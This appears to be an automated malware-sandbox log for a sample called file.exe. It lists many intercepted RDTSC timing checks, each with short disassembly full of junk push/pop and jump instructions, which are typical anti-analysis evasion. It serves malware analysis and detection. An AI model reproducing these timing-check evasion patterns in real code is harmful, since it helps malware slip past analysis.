Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CF429 second address: 10CF439 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CF5C7 second address: 10CF5CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10815E2 second address: 10815E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CF71D second address: 10CF723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CF723 second address: 10CF732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD1CCFA08Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CF732 second address: 10CF740 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FAD1D201C26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CF8DA second address: 10CF8EA instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAD1CCFA086h 0x00000008 jne 00007FAD1CCFA086h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CF8EA second address: 10CF8F1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CF8F1 second address: 10CF917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAD1CCFA094h 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8D73 second address: 10D8D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8D79 second address: 10D8D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8D7D second address: 10D8D8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FAD1D201C2Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6EE6 second address: 10D6EEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D719F second address: 10D71AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jc 00007FAD1D201C2Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D84FE second address: 10D850B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D850B second address: 10D8525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD1D201C34h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8525 second address: 10D8532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8532 second address: 10D853B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD3E9 second address: 10DD3EE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD3EE second address: 10DD406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 je 00007FAD1D201C32h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033CD7 second address: 1033CF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAD1CCFA095h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E06D3 second address: 10E06DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E06DB second address: 10E06E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0CCF second address: 10E0CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E3F5B second address: 10E3F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007FAD1CCFA086h 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jng 00007FAD1CCFA086h 0x00000019 jmp 00007FAD1CCFA08Ch 0x0000001e popad 0x0000001f jmp 00007FAD1CCFA08Fh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB53C second address: 10EB55C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAD1D201C36h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB55C second address: 10EB560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041039 second address: 104103D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104103D second address: 104105C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FAD1CCFA08Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007FAD1CCFA08Ch 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104105C second address: 1041061 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041061 second address: 104107A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FAD1CCFA08Ch 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104107A second address: 10410A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FAD1D201C26h 0x0000000a jnp 00007FAD1D201C26h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007FAD1D201C32h 0x00000019 push edi 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9824 second address: 10E982A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E982A second address: 10E9834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9834 second address: 10E9852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 jns 00007FAD1CCFA086h 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAD1CCFA08Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9852 second address: 10E9874 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9874 second address: 10E987A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E987A second address: 10E987F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9CB6 second address: 10E9CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FAD1CCFA086h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9CC2 second address: 10E9CD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Ah 0x00000007 jnp 00007FAD1D201C26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9CD9 second address: 10E9CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9CE5 second address: 10E9CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9CEB second address: 10E9CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9E5F second address: 10E9E6F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FAD1D201C2Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9E6F second address: 10E9E75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EA3D8 second address: 10EA3DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EAC2B second address: 10EAC67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD1CCFA099h 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FAD1CCFA094h 0x00000011 jne 00007FAD1CCFA09Bh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E92BC second address: 10E92C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FAD1D201C26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F20A9 second address: 10F20B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F20B7 second address: 10F20C3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCB5D second address: 10FCB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFD61 second address: 10FFD6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FAD1D201C26h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFD6C second address: 10FFD87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA095h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFD87 second address: 10FFD8D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFED0 second address: 10FFED8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFED8 second address: 10FFEFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAD1D201C30h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFEFC second address: 10FFF01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105560 second address: 1105594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FAD1D201C2Ah 0x0000000a pushad 0x0000000b jnc 00007FAD1D201C26h 0x00000011 jno 00007FAD1D201C26h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 jmp 00007FAD1D201C31h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105594 second address: 110559E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FAD1CCFA086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11050B4 second address: 11050B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11050B8 second address: 11050BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11050BC second address: 11050C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11050C2 second address: 11050C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11050C8 second address: 11050CD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110524F second address: 1105253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105253 second address: 110526B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAD1D201C2Ah 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110526B second address: 1105276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAD1CCFA086h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109BD9 second address: 1109BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109BDD second address: 1109BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109BE3 second address: 1109BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FAD1D201C26h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109BF3 second address: 1109BF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109BF7 second address: 1109BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109BFD second address: 1109C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112688 second address: 111268E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111268E second address: 1112695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113D17 second address: 1113D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113D1B second address: 1113D3E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAD1CCFA086h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e pop eax 0x0000000f jo 00007FAD1CCFA086h 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FAD1CCFA08Bh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113D3E second address: 1113D44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CB8E second address: 111CB92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CE46 second address: 111CE4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D224 second address: 111D228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F5ED second address: 111F615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD1D201C2Ch 0x00000009 pop eax 0x0000000a push esi 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop esi 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007FAD1D201C2Fh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F615 second address: 111F655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FAD1CCFA086h 0x0000000a jmp 00007FAD1CCFA095h 0x0000000f popad 0x00000010 push ecx 0x00000011 jmp 00007FAD1CCFA098h 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121889 second address: 112189A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112189A second address: 11218A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11218A0 second address: 11218A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11237AF second address: 11237B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11237B5 second address: 11237CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD1D201C33h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11237CC second address: 112381D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA090h 0x00000007 jmp 00007FAD1CCFA095h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAD1CCFA08Dh 0x00000017 jne 00007FAD1CCFA097h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112381D second address: 1123839 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FAD1D201C37h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123839 second address: 1123859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007FAD1CCFA097h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112334E second address: 1123380 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C37h 0x00000007 jmp 00007FAD1D201C31h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123380 second address: 11233A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAD1CCFA097h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jp 00007FAD1CCFA086h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1132456 second address: 113245C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113245C second address: 1132467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140652 second address: 114065C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FAD1D201C26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11404ED second address: 11404F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BAF1 second address: 115BAF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
